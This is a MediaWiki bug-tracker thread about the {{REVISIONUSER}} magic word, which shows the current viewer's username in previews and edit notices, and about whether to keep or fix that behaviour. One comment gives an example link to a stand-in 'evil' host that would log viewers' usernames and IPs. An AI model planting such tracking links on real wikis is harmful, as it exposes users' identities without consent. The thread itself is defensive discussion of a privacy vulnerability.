Last modified: 2011-09-09 04:06:34 UTC
The {{REVISIONUSER}} variable and soon-to-be (per r49575) parserfunction of the same name have an interesting feature. When subst'd, they act the same as {{CURRENTUSER}}. function getRevisionUser() { // if this template is subst: the revision id will be blank, // so just use the current user's name However, this has some interesting side effects, anytime $this->mRevisionId is false, it uses the current user's name. First noticed in the comments of the Special:Code extension -> http://www.mediawiki.org/wiki/Special:Code/MediaWiki/49575#code-comments and later in http://www.mediawiki.org/wiki/Special:Code/MediaWiki/48837#c2257 (though not in the recent comments feed at http://www.mediawiki.org/w/index.php?title=Special:Code/MediaWiki/comments&offset=20090420132558&limit=1 ). Also happens in preview, expandtemplates http://en.wikipedia.org/wiki/Special:ExpandTemplates?input=%3D%3DFoobar%3D%3D%0A%0A%0A%7B%7BREVISIONUSER%7D%7D#Foobar and any parsing with no revisions: http://en.wikipedia.org/w/api.php?action=parse&text={{REVISIONUSER}} This is also possible with many system messages, most notably Newarticletext and Editnotice. I brought this up at the VPT http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=293258249#Constructed_link_in_editnotice_is_a_problem after a quick test in http://test.wikipedia.org/w/index.php?title=MediaWiki:Newarticletext&diff=74417&oldid=73916 ... and soon a very interesting hack was performed: http://en.wikipedia.org/w/index.php?title=Template:Editnotices/Page/User:Amalthea/test16&oldid=293105080&action=edit is used on User:Amalthea/test16?action=edit and transcludes the currently editing user's userpage. This sort of behavior should probably be disabled? Though would that preclude the ability to subst it (similar to REVISIONID) or is there a workaround?
hmmm, sounds like much fun could be had with this feature. I say leave it in :)
[http://some.evil.website/log/ip/and/username?user={{REVISIONID}} Click HERE to see my fun trivia section] in a user's editnotice? I'd rather not, thanks.
Fixed in 51424 (by reverting the feature).
(In reply to comment #3) > Fixed in 51424 (by reverting the feature). > You only reverted the {{REVISIONUSER:}} parser function in r51424, the {{REVISIONUSER}} variable still exists (added in r48149). All the problems described on this page relate directly to the variable (although probably moreso to the pf, reducing severity accordingly).
This is really easy to change...the question is only what we want it to do when $mRevisionId is false. It's easy to return an empty string if that's desired.
(In reply to comment #5) > This is really easy to change...the question is only what we want it to do when > $mRevisionId is false. It's easy to return an empty string if that's desired. Probably a blank string like REVISIONID does. But, can this be done /while/ letting it still work with {{subst:}}?
This is not a bug, it is a useful feature. 1: Just returning an empty string means that things will look different when reading a page and in edit preview, which will be confusing and means we can't test our page code in edit preview but have to save to see the result. 2: Returning the last editor of the page would be "correct". But the current behaviour of returning the current username when a user is edit previewing a page is useful. We already use it in the editnotice system on the English Wikipedia to detect when a user is editing his own user and user talk page. Then we display the link to edit the user's user-space editnotice to the user himself (and to admins). Other users don't see that link. And we are now going to use it in the "test-template" on the English Wikipedia. That is a template that will supply functionality that solves bug 22135. The curios can read more about that at http://en.wikipedia.org/wiki/User_talk:Davidgothberg#Proposed_enhancement_for_testing_templates . So please don't "fix" this, it isn't broken.
This is dangerous, per comment 2. In combination with $wgAllowExternalImages=true this is *lethal*. It also impedes our ability to implement caching of these objects, and it will always be inconsistent and confusing (cf http://www.mediawiki.org/wiki/Special:Code/MediaWiki/49575#code-comments). The word should display the correct previous user wherever that concept makes sense: edit notices especially, but also places like CodeReview. Other places, it should display something that's not a privacy vulnerability.
(In reply to comment #7) > This is not a bug, it is a useful feature. > Yes, it would be a useful feature, if we wanted it (see the WONTFIX'd bug 4196 and its various dupes). But the behavior of {{REVISIONUSER}} on an invalid rev IDs, that is indeed a bug. It should NOT be defaulting to $wgUser, it should be returning an empty string (or other sane value) as I pointed out in comment #5.
Fixed in r78201.
Note that this "bug" has existed for quite a long time, and the buggy behavior has become expected. {{REVISIONUSER}} is used in various templates, edit notices, etc. to get the name of the user who is currently viewing the page (not the last user to make an edit). If the plan is to change that long-standing behavior, at the very least a public notice should be made to warn editors who rely on it. Ideally, another variable would be exposed (like {{CURRENTUSER}} mentioned above), as this functionality is useful in various applications.
Probably best to file a new bug requesting the {{CURRENTUSER}} magic word, as it is unlikely to get much traction here since the bug is closed.
(In reply to comment #12) > Probably best to file a new bug requesting the {{CURRENTUSER}} magic word, as > it is unlikely to get much traction here since the bug is closed. It's already been filed multiple times, see bug 4196 and its dupes.
